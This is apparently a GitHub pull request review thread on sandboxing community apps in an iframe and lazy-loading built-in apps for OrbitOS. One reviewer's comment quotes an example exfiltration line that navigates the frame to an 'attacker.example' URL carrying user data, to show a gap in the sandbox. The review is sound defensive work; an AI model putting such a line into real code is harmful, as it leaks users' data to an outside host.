Repository navigation
Load app windows on demand - #163
ethical-buddy wants to merge 6 commits into
Conversation
Ziqian-Huang0607
left a comment
There was a problem hiding this comment.
The direction here is right and overdue. The old PackageLoader "sandbox" was security theater: shadowing window and document inside a closure stops nothing, since globalThis is one identifier away. Replacing it with a srcDoc iframe running on an opaque origin (sandbox="allow-scripts" without allow-same-origin, referrerPolicy no-referrer, and a CSP that denies network, forms and nested frames) is a genuinely defensible boundary. The lazy loading of built-in apps with next/dynamic is a nice bonus on top.
Two things before I can approve:
-
Format fails in CI. Run
npx prettier --writeon the changed files. -
The React runtime comes from jsdelivr at runtime.
loadReactRuntime()fetches react and react-dom from a third-party CDN in the parent page's origin. That undercuts the point of the PR in two ways: a compromised or renamed CDN package executes with full access to the OrbitOS session (far worse than anything the sandboxed app could do), and community apps simply break offline or behind a firewall. React and react-dom already ship UMD builds in node_modules (react/umd/react.production.min.js). Serve those from /public or a tiny API route instead, so the runtime is the exact version we tested against and no third party is in the trust path.
Tests for the sandbox document and the validation are good. Once prettier is clean and the runtime is self-hosted, this is an approve.
dailker
left a comment
There was a problem hiding this comment.
Hi @ethical-buddy, welcome and thanks for taking this on! The next/dynamic change works well. I built it locally: first-load JS for / dropped from about 220 kB to 177 kB, and every app in src/system/apps still opens. Moving community apps into a sandboxed iframe is a real improvement over the old new Function loader.
I agree with both of Ziqian's points:
- Format check: only
src/lib/sandboxedApp.jsis failing (theisValidAppCodereturn), sonpx prettier --write src/lib/sandboxedApp.jsshould turn it green. - React runtime: please serve the React UMD files from our own build instead of jsdelivr. We're on 18.3.1, so the files are already in
node_modules/react/umdandnode_modules/react-dom/umd. A short comment that this needs revisiting if we move to React 19, which ships no UMD builds, would be nice.
One new thing: browsers ignore navigate-to (it was dropped from CSP), so an app can still do location.href = 'https://somewhere/?data=...' and navigate its own frame. That lets it send out what the user typed, or show a fake page inside the window. Could you watch the iframe's onLoad and close the frame if it loads a second time? At the very least, drop the directive so we don't think we're protected.
Also, since this is now a security change as well as #109, please mention the sandbox in the title or description.
Once those are in, I'm happy to approve. Nice work!
md-abu-kayser
left a comment
There was a problem hiding this comment.
Thanks for the work on this PR. The lazy-loading implementation using next/dynamic is a good performance improvement, and replacing the previous new Function()-based loader with an isolated sandboxed iframe is a meaningful security improvement.
I reviewed the changed files and agree with the concerns raised by the previous reviewers. I also want to highlight an important detail regarding the iframe navigation behavior.
1. Sandbox navigation and potential data exfiltration — Blocking
In src/lib/sandboxedApp.js, the generated CSP includes:
navigate-to 'none'
However, this directive is not reliably supported by browsers. Additionally, the current iframe configuration (sandbox="allow-scripts") does not prevent the iframe from navigating its own browsing context.
A malicious community app could potentially execute something like:
window.location.href = 'https://attacker.example/?data=' + encodeURIComponent(userData);
This would send an external navigation request despite the existing connect-src 'none' restriction.
One important consideration: detecting a second iframe onLoad event and closing the iframe afterward would not fully prevent this issue, because the external request may already have been sent before the parent detects the navigation.
Please address this limitation using an enforceable security boundary rather than relying on the unsupported CSP directive. The sandbox documentation and tests should also accurately reflect the protection being provided.
2. React runtime dependency
In src/lib/sandboxedApp.js, React and ReactDOM are fetched from jsDelivr at runtime.
Although the fetched source is subsequently executed inside the opaque-origin iframe rather than directly in the parent page, this still introduces an external runtime dependency. Community apps may fail to load when the CDN is unavailable or network access is restricted.
Since the project already uses React 18.3.1, I recommend serving the existing UMD builds from the project's own deployment. This would make the runtime more predictable and remove the unnecessary third-party dependency.
3. Formatting check
The current CI format check is still failing. Please run Prettier on the affected files and ensure the formatting check passes.
4. Additional test coverage
Please consider adding tests that cover the sandbox's navigation behavior and verify that the actual security restrictions match the intended isolation guarantees. The existing tests validate generated HTML and basic source validation, but they do not establish that external navigation is prevented.
The lazy-loading changes look good, and the overall direction is promising. However, the navigation issue is important because this PR introduces a security boundary for untrusted community applications.
Once the security concern, runtime dependency, and formatting failure are addressed, I would be happy to review the updated implementation again.
Thanks for your work on this!
|
+1 to @md-abu-kayser's point 1. What we can do is be honest about it and keep the data side small. The frame can only leak what the parent hands it, so:
A test that asserts the bridge never sends auth/session data would pin that down better than a test for navigation we can't actually block. |
|
@anu-agent thanks, this is exactly the kind of write-up I was hoping for. The controls are the part that sells it: the probes catch the old Yes, please open it once #163 lands. A few things to keep it tidy:
React from |
|
@ethical-buddy heads-up: #168 and #170 landed and touched The only conflict was the React import line. I kept both sides ( Your new |
# Conflicts: # src/components/Desktop.js
Built-in app components now use static
next/dynamicimports, so their code is loaded when the user opens a window. A small loading state appears in the window while its app chunk loads.Installed community apps now render in a sandboxed iframe without same-origin access. The frame’s content policy blocks network requests, forms, and nested frames. Its React runtime is fetched by the OrbitOS page and embedded in the frame, so the app code cannot use the browser’s session storage or call OrbitOS APIs directly. I also removed the unused
Function-based loader fromPackageLoader.I added tests for app identifiers, source size limits, and the sandbox document. Closes #109.
I could not run Jest or the production build locally because dependencies are not installed and the npm registry was unreachable. CI should cover both on this branch.